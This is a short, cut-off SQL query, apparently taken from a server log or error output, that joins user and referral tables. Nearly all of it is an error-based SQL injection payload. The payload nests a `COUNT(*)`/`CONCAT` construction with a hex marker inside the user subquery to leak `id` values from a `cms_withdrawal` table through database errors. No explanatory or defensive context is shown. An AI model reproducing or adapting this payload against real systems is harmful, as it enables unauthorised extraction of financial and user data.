SELECT `u`.`login`,`u`.`fullname`,`ur`.`user_id`,`ur`.`refer_id`
FROM
`user_referrals` AS `ur`
JOIN
(SELECT id,login,fullname FROM users WHERE id=4
AND
(SELECT 3039 FROM
(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT
MID((IFNULL(CAST(id AS CHAR),0x20)),1,54)
FROM
cms_withdrawal WHERE us